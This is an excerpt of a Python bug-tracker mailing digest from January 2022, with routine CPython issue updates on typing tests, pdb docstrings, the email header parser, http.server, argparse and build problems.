<1642606356.1.0.845516386162.issue46413@roundup.psfhosted.org> Ken Jin added the comment: New changeset 0a49148e87cca11e3820cbff2abfd316986a68c6 by Nikita Sobolev in branch 'main': bpo-46413: properly test `__{r}or__` code paths in `_SpecialGenericAlias` (GH-30640) https://github.com/python/cpython/commit/0a49148e87cca11e3820cbff2abfd316986a68c6 ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:32:41 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 15:32:41 +0000 Subject: [issue46413] `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` In-Reply-To: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org> Message-ID: <1642606361.95.0.358661983188.issue46413@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 2.0 -> 3.0 pull_requests: +28891 pull_request: https://github.com/python/cpython/pull/30693 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:32:45 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 15:32:45 +0000 Subject: [issue46413] `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` In-Reply-To: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org> Message-ID: <1642606365.92.0.104840335127.issue46413@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28892 pull_request: https://github.com/python/cpython/pull/30694 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:34:31 2022 From: report at bugs.python.org (STINNER Victor) Date: Wed, 19 Jan 2022 15:34:31 +0000 Subject: [issue46432] AMD64 FreeBSD Shared 3.x buildbot fails to build: error: error reading 'LASTCFLAGS' Message-ID: <1642606471.52.0.164766781716.issue46432@roundup.psfhosted.org> New submission from STINNER Victor : The AMD64 FreeBSD Shared 3.x buildbot worker fails to build Python with the following error message: error reading 'LASTCFLAGS' The first failure was today (January 19, 2022) at build 1513: https://buildbot.python.org/all/#/builders/483/builds/1513 ---------- components: Build messages: 410958 nosy: koobs, vstinner priority: normal severity: normal status: open title: AMD64 FreeBSD Shared 3.x buildbot fails to build: error: error reading 'LASTCFLAGS' versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:37:16 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 15:37:16 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642606636.51.0.418889929029.issue45680@roundup.psfhosted.org> Ken Jin added the comment: New changeset 1faf7c4effbe8b66f9b0347cab570fb3b5c91fb0 by Ken Jin in branch 'main': bpo-45680: Minor formatting fix in stdtypes.rst (GH-30690) https://github.com/python/cpython/commit/1faf7c4effbe8b66f9b0347cab570fb3b5c91fb0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:38:45 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Wed, 19 Jan 2022 15:38:45 +0000 Subject: [issue46399] Addition of `mapping` attribute to dict views classes has inadvertently broken type-checkers In-Reply-To: <1642341319.06.0.115818889997.issue46399@roundup.psfhosted.org> Message-ID: <1642606725.15.0.0293351792014.issue46399@roundup.psfhosted.org> Jelle Zijlstra added the comment: I see the concerns about exposing too many implementation details. But I'm also not sure how much this will really help static typing use cases. Alex's examples just call super().keys(), but if you do that, there's not much point in overriding keys() in the first place. These classes don't allow subclassing or instantiation: >>> t = type({}.items()) >>> class X(t): ... pass ... Traceback (most recent call last): File "", line 1, in TypeError: type 'dict_items' is not an acceptable base type >>> t({}) Traceback (most recent call last): File "", line 1, in TypeError: cannot create 'dict_items' instances So I can't think of much useful, well-typed code that you could write if these classes were public. For a use case like SortedDict, you'd still need to write your own class implementing KeysView, and you'd get an error from the type checker because it's incompatible with dict_keys. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:40:40 2022 From: report at bugs.python.org (Russel Webber) Date: Wed, 19 Jan 2022 15:40:40 +0000 Subject: [issue46098] Missing test for multi-line errors in traceback In-Reply-To: <1639654129.22.0.790505803608.issue46098@roundup.psfhosted.org> Message-ID: <1642606840.73.0.801351902113.issue46098@roundup.psfhosted.org> Russel Webber added the comment: I have added a test that I think covers this case. ---------- keywords: +patch message_count: 1.0 -> 2.0 nosy: +RusselWebber nosy_count: 3.0 -> 4.0 pull_requests: +28893 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30695 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:46:37 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 15:46:37 +0000 Subject: [issue46433] _PyType_GetModuleByDef optimization is incorrect Message-ID: <1642607197.61.0.0970144809853.issue46433@roundup.psfhosted.org> New submission from Petr Viktorin : I'm looking at the _PyType_GetModuleByDef optimization in https://github.com/python/cpython/pull/25504/files -- previously I assumed it's OK since it passed review. But it doesn't look correct: - in the `_PyType_HasFeature` assert, we should be looking at `super` rather than `type` - it's definitely possible that a hear type has a static type in the MRO -- `object`, at least. The `(PyHeapTypeObject*)super` cast is invalid in the case when the module is not found. And it's *also* incorrect in some cases of diamond inheritance, when a static type comes before the type we're looking for in `bases`. It also adds a precondition that's not feasible public API, which this was meant to become: it should be callable with any type object. That's possible to do by keeping faster internal API and adding a public version with checks, but the diamond inheritance problem remains. Py_TPFLAGS_HEAPTYPE needs to be checked at runtime (except for the first iteration, if we're sure we're handling a static type). Does that analysis sound right? ---------- messages: 410962 nosy: petr.viktorin, vstinner priority: normal severity: normal status: open title: _PyType_GetModuleByDef optimization is incorrect versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:54:26 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 15:54:26 +0000 Subject: [issue46424] `typing.Annotated` one type argument usage is not covered in tests In-Reply-To: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> Message-ID: <1642607666.0.0.576644162278.issue46424@roundup.psfhosted.org> miss-islington added the comment: New changeset baf26d07a634b0ea3ff052716bdeaee985b3a3a9 by Miss Islington (bot) in branch '3.10': bpo-46424: [typing] cover `Annotation[arg]` invalid usage in tests (GH-30663) https://github.com/python/cpython/commit/baf26d07a634b0ea3ff052716bdeaee985b3a3a9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 10:56:12 2022 From: report at bugs.python.org (honglei jiang) Date: Wed, 19 Jan 2022 15:56:12 +0000 Subject: [issue27022] expose sendmmsg() syscall in sockets API In-Reply-To: <1463247542.08.0.661246316661.issue27022@psf.upfronthosting.co.za> Message-ID: <1642607772.59.0.47798729923.issue27022@roundup.psfhosted.org> honglei jiang added the comment: any plan for it? ---------- nosy: +honglei.jiang versions: +Python 3.11 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:00:00 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 16:00:00 +0000 Subject: [issue46424] `typing.Annotated` one type argument usage is not covered in tests In-Reply-To: <1642512737.13.0.839699865567.issue46424@roundup.psfhosted.org> Message-ID: <1642608000.03.0.596871531119.issue46424@roundup.psfhosted.org> miss-islington added the comment: New changeset 331378dffc334c1f05ab3152c87f46cd9155e169 by Miss Islington (bot) in branch '3.9': [3.9] bpo-46424: [typing] cover `Annotation[arg]` invalid usage in tests (GH-30663) (GH-30692) https://github.com/python/cpython/commit/331378dffc334c1f05ab3152c87f46cd9155e169 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:01:38 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 16:01:38 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642608098.38.0.848229318472.issue45680@roundup.psfhosted.org> Ken Jin added the comment: New changeset 00645166b64e68001a425a15281a1ccdcb78f818 by Ken Jin in branch '3.9': [3.9] bpo-45680: Clarify documentation on ``GenericAlias`` objects (GH-29335) (GH-30689) https://github.com/python/cpython/commit/00645166b64e68001a425a15281a1ccdcb78f818 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:03:22 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 16:03:22 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642608202.05.0.878429498202.issue45680@roundup.psfhosted.org> Ken Jin added the comment: Phew, we're finally done. Thanks Alex for the PRs, and ?ukasz, Guido (and many others) for all the reviews! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:09:31 2022 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 19 Jan 2022 16:09:31 +0000 Subject: [issue46433] _PyType_GetModuleByDef optimization is incorrect In-Reply-To: <1642607197.61.0.0970144809853.issue46433@roundup.psfhosted.org> Message-ID: <1642608571.3.0.560992240804.issue46433@roundup.psfhosted.org> Change by Petr Viktorin : ---------- keywords: +patch pull_requests: +28894 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30696 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:11:21 2022 From: report at bugs.python.org (miss-islington) Date: Wed, 19 Jan 2022 16:11:21 +0000 Subject: [issue46413] `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` In-Reply-To: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org> Message-ID: <1642608681.63.0.965627540403.issue46413@roundup.psfhosted.org> miss-islington added the comment: New changeset 39374c44d98b470213256ceead0e2b4e44b14b92 by Miss Islington (bot) in branch '3.10': [3.10] bpo-46413: properly test `__{r}or__` code paths in `_SpecialGenericAlias` (GH-30640) (GH-30694) https://github.com/python/cpython/commit/39374c44d98b470213256ceead0e2b4e44b14b92 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:13:01 2022 From: report at bugs.python.org (Ken Jin) Date: Wed, 19 Jan 2022 16:13:01 +0000 Subject: [issue46413] `__or__` is not covered for `_GenericAlias` and `_SpecialGenericAlias` in `typing` In-Reply-To: <1642431476.98.0.248421511128.issue46413@roundup.psfhosted.org> Message-ID: <1642608781.49.0.405452958259.issue46413@roundup.psfhosted.org> Change by Ken Jin : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:19:22 2022 From: report at bugs.python.org (Alex Waygood) Date: Wed, 19 Jan 2022 16:19:22 +0000 Subject: [issue45680] Documentation on `GenericAlias` objects and `__class_getitem__` could be improved In-Reply-To: <1635625289.5.0.271626210533.issue45680@roundup.psfhosted.org> Message-ID: <1642609162.41.0.17711758495.issue45680@roundup.psfhosted.org> Alex Waygood added the comment: Wait... there's still PR 29479 open! But that can wait a little while -- getting PR 29335 over the line is definitely worth celebrating!! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:41:48 2022 From: report at bugs.python.org (sparrowt) Date: Wed, 19 Jan 2022 16:41:48 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package Message-ID: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> New submission from sparrowt : When running python from an embeddable windows zip file such as: https://www.python.org/ftp/python/3.9.10/python-3.9.10-embed-amd64.zip the `help` command within `pdb` is broken due to missing docstrings, as demonstrated below. Python 3.9.10 (tags/v3.9.10:f2f3f53, Jan 17 2022, 15:14:21) [MSC v.1929 64 bit (AMD64)] on win32 >>> import pdb >>> pdb.set_trace() --Return-- > (1)()->None (Pdb) help interact Traceback (most recent call last): File "", line 1, in File "bdb.py", line 92, in trace_dispatch File "bdb.py", line 151, in dispatch_return File "pdb.py", line 294, in user_return File "pdb.py", line 357, in interaction File "pdb.py", line 322, in _cmdloop File "cmd.py", line 138, in cmdloop File "pdb.py", line 422, in onecmd File "cmd.py", line 217, in onecmd File "pdb.py", line 1496, in do_help AttributeError: 'NoneType' object has no attribute 'rstrip' >>> >>> print(pdb.Pdb.do_interact.__doc__) None ---------- components: Library (Lib), Windows messages: 410970 nosy: paul.moore, sparrowt, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: pdb help fails with AttributeError when using Windows embeddable package versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:43:46 2022 From: report at bugs.python.org (sparrowt) Date: Wed, 19 Jan 2022 16:43:46 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642610626.42.0.34543675209.issue46434@roundup.psfhosted.org> sparrowt added the comment: Perhaps we should have a more generic check for `command.__doc__` as it appears this is a case not handled by the existing `sys.flags.optimize >= 2` check? https://github.com/python/cpython/blob/v3.9.10/Lib/pdb.py#L1492-L1496 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:47:51 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 16:47:51 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> Message-ID: <1642610871.76.0.738951137359.issue46416@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28895 pull_request: https://github.com/python/cpython/pull/30697 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:56:00 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 16:56:00 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> Message-ID: <1642611360.54.0.304723613926.issue46416@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28896 pull_request: https://github.com/python/cpython/pull/30698 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 11:59:26 2022 From: report at bugs.python.org (Henry Schreiner) Date: Wed, 19 Jan 2022 16:59:26 +0000 Subject: [issue27318] Add support for symlinks to zipfile In-Reply-To: <1465905334.15.0.513827452466.issue27318@psf.upfronthosting.co.za> Message-ID: <1642611566.73.0.416105664755.issue27318@roundup.psfhosted.org> Change by Henry Schreiner : ---------- nosy: +Henry Schreiner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:01:36 2022 From: report at bugs.python.org (bpoaugust) Date: Wed, 19 Jan 2022 17:01:36 +0000 Subject: [issue46435] MessageID parser can crash with IndexError: string index out of range Message-ID: <1642611696.19.0.00941032029995.issue46435@roundup.psfhosted.org> New submission from bpoaugust : The Message-ID parser can crash on truncated input. For example: import email.policy message=email.message_from_string("Message-id: message['Message-id'] File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/message.py", line 391, in __getitem__ return self.get(name) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/message.py", line 471, in get return self.policy.header_fetch_parse(k, v) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/policy.py", line 163, in header_fetch_parse return self.header_factory(name, value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/headerregistry.py", line 604, in __call__ return self[name](name, value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/headerregistry.py", line 192, in __new__ cls.parse(value, kwds) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/headerregistry.py", line 532, in parse kwds['parse_tree'] = parse_tree = cls.value_parser(value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/_header_value_parser.py", line 2126, in parse_message_id token, value = get_msg_id(value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/_header_value_parser.py", line 2101, in get_msg_id token, value = get_domain(value) File "/Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/email/_header_value_parser.py", line 1604, in get_domain if value[0] in CFWS_LEADER: IndexError: string index out of range ---------- components: email messages: 410972 nosy: barry, bpoaugust, r.david.murray priority: normal severity: normal status: open title: MessageID parser can crash with IndexError: string index out of range type: crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:08:32 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 17:08:32 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642612112.9.0.352653269441.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28897 pull_request: https://github.com/python/cpython/pull/30699 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:13:55 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 17:13:55 +0000 Subject: [issue46425] Multiple test modules fail to run if invoked directly In-Reply-To: <1642531299.32.0.982136294223.issue46425@roundup.psfhosted.org> Message-ID: <1642612435.5.0.732019319429.issue46425@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28898 pull_request: https://github.com/python/cpython/pull/30700 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:39:40 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Wed, 19 Jan 2022 17:39:40 +0000 Subject: [issue46436] Pass the -d/--directory command-line option to http.server.CGIHTTPRequestHandler Message-ID: <1642613980.51.0.0570385311323.issue46436@roundup.psfhosted.org> New submission from G?ry : The API of [`http.server`](https://docs.python.org/3/library/http.server.html) supports the `directory` optional parameter for `CGIHTTPRequestHandler` (which is inherited from `SimpleHTTPRequestHandler`). The CLI of `http.server` supports the corresponding `-d/--directory` option. The `-d/--directory` option is passed to `SimpleHTTPRequestHandler` as the `directory` argument: > python -m http.server --directory /tmp/ But the `-d/--directory` option is not passed to `CGIHTTPRequestHandler` (which is enabled with the `--cgi` option): > python -m http.server --directory /tmp/ --cgi So the option is ignored in that case. ---------- components: Library (Lib) messages: 410973 nosy: docs at python, maggyero priority: normal pull_requests: 28899 severity: normal status: open title: Pass the -d/--directory command-line option to http.server.CGIHTTPRequestHandler type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:42:38 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 17:42:38 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` Message-ID: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several legacy `hasattr` checks that are always `True` in newer Python versions: 1. https://github.com/python/cpython/blob/d45cd2d20770f72a000ba6dfa9ac88dd49423c27/Lib/test/test_typing.py#L3516 2. https://github.com/python/cpython/blob/d45cd2d20770f72a000ba6dfa9ac88dd49423c27/Lib/test/test_typing.py#L5133 I think it is safe to delete them. ---------- components: Tests messages: 410974 nosy: sobolevn priority: normal severity: normal status: open title: Non-required `hasattr` checks in `test_typing` type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:43:17 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 17:43:17 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` In-Reply-To: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> Message-ID: <1642614197.82.0.416965859172.issue46437@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- nosy: +kj _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:43:37 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 17:43:37 +0000 Subject: [issue46437] Non-required `hasattr` checks in `test_typing` In-Reply-To: <1642614158.42.0.144576868023.issue46437@roundup.psfhosted.org> Message-ID: <1642614217.05.0.681421623121.issue46437@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28900 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30704 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 12:44:18 2022 From: report at bugs.python.org (sparrowt) Date: Wed, 19 Jan 2022 17:44:18 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642614258.18.0.69576274206.issue46434@roundup.psfhosted.org> Change by sparrowt : ---------- keywords: +patch pull_requests: +28901 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30705 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 14:33:36 2022 From: report at bugs.python.org (John L) Date: Wed, 19 Jan 2022 19:33:36 +0000 Subject: [issue44408] imaplib fails when server sends extra blank line after literal value In-Reply-To: <1623562448.65.0.279795750286.issue44408@roundup.psfhosted.org> Message-ID: <1642620816.82.0.626279692868.issue44408@roundup.psfhosted.org> John L added the comment: It causes an exception and traceback, don't remember which exception six months later. I'll see if I can add a suitable test case to the unit test. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 14:39:43 2022 From: report at bugs.python.org (Steve Dower) Date: Wed, 19 Jan 2022 19:39:43 +0000 Subject: [issue46434] pdb help fails with AttributeError when using Windows embeddable package In-Reply-To: <1642610508.79.0.170638076327.issue46434@roundup.psfhosted.org> Message-ID: <1642621183.07.0.767140609198.issue46434@roundup.psfhosted.org> Steve Dower added the comment: The PR looks good. I assume you've started the CLA process, so once that clears we'll be fine to merge. ---------- versions: -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 14:51:15 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Wed, 19 Jan 2022 19:51:15 +0000 Subject: [issue46416] Direct invocation of `Lib/test/test_typing.py` fails In-Reply-To: <1642432946.92.0.224502612065.issue46416@roundup.psfhosted.org> Message-ID: <1642621875.33.0.775042460915.issue46416@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- pull_requests: +28903 pull_request: https://github.com/python/cpython/pull/30707 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:00:09 2022 From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=) Date: Wed, 19 Jan 2022 20:00:09 +0000 Subject: [issue46436] Pass the -d/--directory command-line option to http.server.CGIHTTPRequestHandler In-Reply-To: <1642613980.51.0.0570385311323.issue46436@roundup.psfhosted.org> Message-ID: <1642622409.14.0.185307294005.issue46436@roundup.psfhosted.org> Change by G?ry : ---------- nosy: -docs at python _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:29:35 2022 From: report at bugs.python.org (Bar Harel) Date: Wed, 19 Jan 2022 20:29:35 +0000 Subject: [issue38938] Possible performance improvement for heapq.merge() In-Reply-To: <1574995461.08.0.901532396583.issue38938@roundup.psfhosted.org> Message-ID: <1642624175.67.0.746331447741.issue38938@roundup.psfhosted.org> Change by Bar Harel : ---------- nosy: +bar.harel _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:35:21 2022 From: report at bugs.python.org (Steve Dower) Date: Wed, 19 Jan 2022 20:35:21 +0000 Subject: [issue46438] Static linking _decimal module breaks test_freeze Message-ID: <1642624521.94.0.159387855198.issue46438@roundup.psfhosted.org> New submission from Steve Dower : After applying this patch on Linux, test_freeze_simple_script (test.test_tools.test_freeze.TestFreeze) fails. diff --git a/Modules/Setup b/Modules/Setup index d3647ecb99..c41bcac453 100644 --- a/Modules/Setup +++ b/Modules/Setup @@ -135,7 +135,7 @@ PYTHONPATH=$(COREPYTHONPATH) #_contextvars _contextvarsmodule.c #_csv _csv.c #_datetime _datetimemodule.c -#_decimal _decimal/_decimal.c +_decimal _decimal/_decimal.c #_heapq _heapqmodule.c #_json _json.c #_lsprof _lsprof.c rotatingtree.c The stderr from the test is below. The rest of the output looks normal to me, but most of the build output is missing. --- STDERR --- gcc: error: Modules/_decimal/libmpdec/libmpdec.a: No such file or directory make: *** [Makefile:976: app] Error 1 ---------- components: Build messages: 410978 nosy: steve.dower priority: normal severity: normal status: open title: Static linking _decimal module breaks test_freeze versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:43:16 2022 From: report at bugs.python.org (Petr) Date: Wed, 19 Jan 2022 20:43:16 +0000 Subject: [issue41906] logging.config.dictConfig does not work with callable filters In-Reply-To: <1601599406.74.0.279190575587.issue41906@roundup.psfhosted.org> Message-ID: <1642624996.01.0.0244543167961.issue41906@roundup.psfhosted.org> Petr added the comment: I would definitely vote for implementing this enhancement. I have just ran into the very same issue and my search ended here. Using dictConfig e.g. with lambdas seems very natural to me and I understood the docs incorrectly exactly as had been reported. ---------- nosy: +PetrPy111 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:49:38 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 19 Jan 2022 20:49:38 +0000 Subject: [issue44667] tokenize.py emits spurious NEWLINE if file ends on a comment without a newline In-Reply-To: <1626616213.56.0.119364692181.issue44667@roundup.psfhosted.org> Message-ID: <1642625378.75.0.341807638021.issue44667@roundup.psfhosted.org> Terry J. Reedy added the comment: This appears to have been a duplicate of #35107, where the failing example was '#' and it was NL, NEWLINE pair was noted. So this either predates 3.9 or was re-introduced. In any case, thanks for the fix. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:50:24 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 19 Jan 2022 20:50:24 +0000 Subject: [issue35107] untokenize() fails on tokenize output when a newline is missing In-Reply-To: <1540851998.41.0.788709270274.issue35107@psf.upfronthosting.co.za> Message-ID: <1642625424.35.0.436547229939.issue35107@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- resolution: -> duplicate stage: -> resolved status: pending -> closed superseder: -> tokenize.py emits spurious NEWLINE if file ends on a comment without a newline _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:51:45 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 19 Jan 2022 20:51:45 +0000 Subject: [issue44667] tokenize.py emits spurious NEWLINE if file ends on a comment without a newline In-Reply-To: <1626616213.56.0.119364692181.issue44667@roundup.psfhosted.org> Message-ID: <1642625505.26.0.194033075835.issue44667@roundup.psfhosted.org> Terry J. Reedy added the comment: #44667 ---------- versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:52:55 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 19 Jan 2022 20:52:55 +0000 Subject: [issue35107] untokenize() fails on tokenize output when a newline is missing In-Reply-To: <1540851998.41.0.788709270274.issue35107@psf.upfronthosting.co.za> Message-ID: <1642625575.37.0.585727289078.issue35107@roundup.psfhosted.org> Terry J. Reedy added the comment: #44667 tokenize.py emits spurious NEWLINE if file ends on a comment without a newline Fixed on 3.11, 3.10, 3.9 Aug 2021. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 15:53:27 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 19 Jan 2022 20:53:27 +0000 Subject: [issue44667] tokenize.py emits spurious NEWLINE if file ends on a comment without a newline In-Reply-To: <1626616213.56.0.119364692181.issue44667@roundup.psfhosted.org> Message-ID: <1642625607.03.0.78789655134.issue44667@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- Removed message: https://bugs.python.org/msg410981 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 16:00:26 2022 From: report at bugs.python.org (Ashwin Ramaswami) Date: Wed, 19 Jan 2022 21:00:26 +0000 Subject: [issue46439] Clarify urllib.request.add_header documentation Message-ID: <1642626026.43.0.914790012099.issue46439@roundup.psfhosted.org> New submission from Ashwin Ramaswami : We should add a note that headers added via urllib.request.add_header are added to redirected requests. It isn't immediately clear upon reading the documentation that this is the case. ---------- assignee: docs at python components: Documentation messages: 410983 nosy: docs at python, epicfaace priority: normal severity: normal status: open title: Clarify urllib.request.add_header documentation _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jan 19 16:04:30 2022 From: report at bugs.python.org (Daniel Schulte) Date: Wed, 19 Jan 2022 21:04:30 +0000 Subject: [issue46440] ArgumentParser.parse_args exits on missing required argument with exit_on_error=False Message-ID: <1642626270.03.0.621125172575.issue46440@roundup.psfhosted.org> New submission from Daniel Schulte : When calling ArgumentParser.parse_args(list_of_things_to_parse) sys.exit gets called even though the parser was constructed with exit_on_error=False. It doesn't matter if the parser has any subparsers added or not. The docs say > Normally, when you pass an invalid argument list to the parse_args() > method of an ArgumentParser, it will exit with error info. > If the user would like to catch errors manually, the feature can be > enabled by setting exit_on_error to False: > [example code follows] The docs make me believe what I'm trying to do should work. I've attached a minimal working example to show what happens (with and without subparsers). ---------- components: Library (Lib) files: bug.py messages: 410984 nosy: trilader priority: normal severity: normal status: open title: ArgumentParser.parse_args exits on missing required argument with exit_on_error=False type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50567/bug.py _______________________________________ Python tracker _______________________________________ From report at 